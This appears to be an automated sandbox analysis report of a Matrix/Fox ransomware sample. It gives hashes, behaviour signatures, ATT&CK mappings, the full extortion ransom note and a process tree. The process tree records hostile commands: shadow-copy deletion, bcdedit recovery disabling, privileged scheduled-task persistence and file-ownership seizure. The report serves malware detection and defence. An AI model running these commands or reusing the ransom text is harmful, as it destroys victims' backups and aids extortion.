Overview

overview

10

Static

static

3

FoxRansomw...65.exe

windows7-x64

10

FoxRansomw...65.exe

windows10-2004-x64

10

FoxRansomw...a7.exe

windows7-x64

10

FoxRansomw...a7.exe

windows10-2004-x64

10

FoxRansomw...20.exe

windows7-x64

10

FoxRansomw...20.exe

windows10-2004-x64

10

FoxRansomw...0b.exe

windows7-x64

10

FoxRansomw...0b.exe

windows10-2004-x64

10

FoxRansomw...53.exe

windows7-x64

10

FoxRansomw...53.exe

windows10-2004-x64

10

FoxRansomw...b1.exe

windows7-x64

10

FoxRansomw...b1.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240319-en
  • resource tags

    arch:x64arch:x86image:win7-20240319-enlocale:en-usos:windows7-x64system
  • submitted
    03-04-2024 17:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe

  • Size

    1.2MB

  • MD5

    1fa1b6d4b3ed867c1d4baffc77417611

  • SHA1

    afb5e385f9cc8910d7a970b6c32b8d79295579da

  • SHA256

    91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53

  • SHA512

    0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5

  • SSDEEP

    24576:K/SA+2lraRrjSJR5ezmT1dM9bBkNIDreFqO:2Xl9Ife

Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealerupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files (x86)\Microsoft Office\Office14\Document Parts\1033\14\#FOX_README#.rtf

Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 5181A1BDCF739F54\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 5181A1BDCF739F54\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 dhW7jBJ0\cf0\f1\fs32\lang1049\par \par }
Emails
URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops desktop.ini file(s) 43 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe"
    1⤵
    • Matrix Ransomware
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWy8kGmv.exe"
      2⤵
        PID:2024
      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWy8kGmv.exe
        "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWy8kGmv.exe" -n
        2⤵
        • Executes dropped EXE
        PID:2892
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\BVaumgPF.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1640
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2824
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\LQYJrNcW.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2312
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\LQYJrNcW.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:2624
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:2224
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1540
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\N5ugo4Ap.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2656
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\N5ugo4Ap.vbs"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1448
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\aMMJNR22.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                  PID:1488
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\aMMJNR22.bat" /sc minute /mo 5 /RL HIGHEST /F
                    5⤵
                    • Creates scheduled task(s)
                    PID:2244
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                  4⤵
                    PID:2084
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Run /I /tn DSHCA
                      5⤵
                        PID:2008
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\RGoVkDn0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1768
                  • C:\Windows\SysWOW64\attrib.exe
                    attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"
                    3⤵
                    • Views/modifies file attributes
                    PID:1588
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C
                    3⤵
                      PID:2272
                    • C:\Windows\SysWOW64\takeown.exe
                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"
                      3⤵
                      • Modifies file permissions
                      PID:2024
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ffaSuZcG.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner
                      3⤵
                      • Loads dropped DLL
                      PID:1944
                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\ffaSuZcG.exe
                        ffaSuZcG.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner
                        4⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2260
                        • C:\Users\Admin\AppData\Local\Temp\ffaSuZcG64.exe
                          ffaSuZcG.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner
                          5⤵
                          • Drops file in Drivers directory
                          • Sets service image path in registry
                          • Executes dropped EXE
                          • Enumerates connected drives
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: LoadsDriver
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3880
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {9215738A-80EB-4850-AD46-290EAA1B40BB} S-1-5-21-2610426812-2871295383-373749122-1000:UEITMFAB\Admin:Interactive:[1]
                  1⤵
                    PID:3656
                    • C:\Windows\SYSTEM32\cmd.exe
                      C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\aMMJNR22.bat"
                      2⤵
                        PID:3900
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin Delete Shadows /All /Quiet
                          3⤵
                          • Interacts with shadow copies
                          PID:2488
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic SHADOWCOPY DELETE
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2380
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} recoveryenabled No
                          3⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3160
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} bootstatuspolicy ignoreallfailures
                          3⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3852
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN DSHCA /F
                          3⤵
                            PID:3780
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1040

                      Network

                      MITRE ATT&CK Enterprise v15

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Scheduled Task/Job

                      1
                      T1053

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Scheduled Task/Job

                      1
                      T1053

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Scheduled Task/Job

                      1
                      T1053

                      Defense Evasion

                      File and Directory Permissions Modification

                      1
                      T1222

                      Hide Artifacts

                      1
                      T1564

                      Hidden Files and Directories

                      1
                      T1564.001

                      Indicator Removal

                      2
                      T1070

                      File Deletion

                      2
                      T1070.004

                      Modify Registry

                      2
                      T1112

                      Credential Access

                      Unsecured Credentials

                      1
                      T1552

                      Credentials In Files

                      1
                      T1552.001

                      Discovery

                      Peripheral Device Discovery

                      1
                      T1120

                      Query Registry

                      2
                      T1012

                      System Information Discovery

                      2
                      T1082

                      Lateral Movement

                      Collection

                      Data from Local System

                      1
                      T1005

                      Command and Control

                      Exfiltration

                      Impact

                      Defacement

                      1
                      T1491

                      Inhibit System Recovery

                      3
                      T1490

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\$Recycle.Bin\S-1-5-21-2610426812-2871295383-373749122-1000\desktop.ini
                        Filesize

                        1KB

                        MD5

                        57ba17624eaef06762aa2e20299bffaa

                        SHA1

                        d6d7c96915f38003d85679a25b048f5978883af1

                        SHA256

                        f24eab91acf23bb9ceb7f48374192f789d22dd78ce16754ad1c22da284b82626

                        SHA512

                        05f60db1d87b1bc6d50867d790cbc73af97a65345435e2e348e36d93ae6e0b1a87993d14102b9798de6fbc83b1a5d7e444ec70bbace0a01130b5b089c44fc1bc

                        Download Submit

                      • C:\Program Files (x86)\Microsoft Office\Office14\Document Parts\1033\14\#FOX_README#.rtf
                        Filesize

                        8KB

                        MD5

                        824a657326fe69d26be6c5f426846610

                        SHA1

                        0e23186fe0f8593834a059f47f00c3a193f614aa

                        SHA256

                        7633c97c4c930f7d6c7eaebd7f4882f4d2dea6b801240332dd2ca8bc9d404370

                        SHA512

                        fb8723734df8202401b6243dcf61f71de192af28e43601ac9369d91b1f82c6fc4506c5630ef615271287c21a168bcb64ed40b93ad4c508e74000d3a8004474d7

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\BVaumgPF.txt
                        Filesize

                        16B

                        MD5

                        17d432845dc7cb55ac69d75cf72f7f5d

                        SHA1

                        7f3b6e6ab91b3a13c0611fe6e95befab691d5cc3

                        SHA256

                        a7cd0523e7aca4fd8db39d49ce1fe6198b92956509bd360dae646798c2a251a4

                        SHA512

                        25054cd4ec03675f28d0aa1aa09b691beacb9f9a1cf538179777d74a713e97457c39d56c787becc378fcdc31c62cbdf56546f8cee41f5f99f11b8798663104e0

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\RGoVkDn0.bat
                        Filesize

                        246B

                        MD5

                        528851234f4b9caada5f2cf314c201b2

                        SHA1

                        8c99ee7b970d80b213da29fcf6b0bd9c0a603391

                        SHA256

                        2590c30cc726b6a34ca94c89edd82647896d8c50dbb2e4e3a0be28323b61f2a4

                        SHA512

                        d47e5a4b88b509ae0809aed99f0d4f4b3daa31912d28af33954bc51c577510c68d7e866a37c8a5fe76ca33d4916d29b3e7b483579111744172374e95fcd11dd6

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\bad_5181A1BDCF739F54.txt
                        Filesize

                        2KB

                        MD5

                        2af6c210b1a4401f7d57900ca2e29b34

                        SHA1

                        b63131801516a843d08442a9aab64cd21b47e3dd

                        SHA256

                        3425e9c62a0a6d521ad646a4466ad344a3ac10af5c25a625044c2ae5ac2815b9

                        SHA512

                        3d509ec1778efbf9324350f73e71f281668e87d0c20ef048bdd393b9512c175b11a9ffdff7b59d0d30518b2a4e5beff3576cfde68ceacffd9524294ab35e845e

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_5181A1BDCF739F54.txt
                        Filesize

                        36KB

                        MD5

                        2b912aacb5657572ced74fa4da587829

                        SHA1

                        f666505f0be862f8750871a8768ae37f65bb3f1c

                        SHA256

                        6fb5b70263f8ac94be6ade73e96ece92202f3eb151e3099e2a301a6f312fded7

                        SHA512

                        407774473f21ee431fdca0a0fa9c60637912b7ddff3e1c6879ce588ce0620c830bfcb6b04f48ad0b6b46b924fb03c9e5b1237ac78d85095910a62522a81f4410

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\ffaSuZcG.exe
                        Filesize

                        181KB

                        MD5

                        2f5b509929165fc13ceab9393c3b911d

                        SHA1

                        b016316132a6a277c5d8a4d7f3d6e2c769984052

                        SHA256

                        0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                        SHA512

                        c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                        Download Submit

                      • C:\Users\Admin\AppData\Roaming\N5ugo4Ap.vbs
                        Filesize

                        260B

                        MD5

                        5dcef8e16ac7b560b4733f4dda4095b8

                        SHA1

                        59eaac42631691c09a673dd4e36737f7b7cf11eb

                        SHA256

                        fac19f5e9ea4e6a8303bfddd10c3b119ff6e7e87360c6ea70c904a3c8b583010

                        SHA512

                        43097c79c379437fb06c9ea1e5825d8e1524be796beb7b8df3d83532b89f57bf02875902fcd5ef889924bf61c340b974be49ed40356fa4f0c4a1199c4e90bc6b

                        Download Submit

                      • C:\Users\Admin\AppData\Roaming\aMMJNR22.bat
                        Filesize

                        265B

                        MD5

                        b214b5561adddc5e1dfc56fd3fc68920

                        SHA1

                        bb76397077e848e280bddc00b982c04738e84329

                        SHA256

                        0c19646cae23657f4508e5b2e84e5c79ed4400a212b2e4651789b56629827267

                        SHA512

                        9e34beb62c5dacbef10b4e85679dcf8b74d001ebcaac2b4b576de459e9718e61b9540bd2f67f72af5dc4bfcc971089c01c9e67e494080b94f50f41305b12c1cd

                        Download Submit

                      • \Users\Admin\AppData\Local\Temp\FoxRansomware\NWy8kGmv.exe
                        Filesize

                        1.2MB

                        MD5

                        1fa1b6d4b3ed867c1d4baffc77417611

                        SHA1

                        afb5e385f9cc8910d7a970b6c32b8d79295579da

                        SHA256

                        91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53

                        SHA512

                        0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5

                        Download Submit

                      • \Users\Admin\AppData\Local\Temp\ffaSuZcG64.exe
                        Filesize

                        221KB

                        MD5

                        3026bc2448763d5a9862d864b97288ff

                        SHA1

                        7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                        SHA256

                        7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                        SHA512

                        d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                        Download Submit

                      • memory/1720-15017-0x0000000000400000-0x000000000053A000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/1720-10501-0x0000000000400000-0x000000000053A000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/1720-18321-0x0000000000400000-0x000000000053A000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/1720-505-0x0000000000400000-0x000000000053A000-memory.dmp

                        Filesize

                        1.2MB

                        Download

                      • memory/1944-2183-0x0000000000270000-0x00000000002E7000-memory.dmp

                        Filesize

                        476KB

                        Download

                      • memory/1944-15281-0x0000000000270000-0x00000000002E7000-memory.dmp

                        Filesize

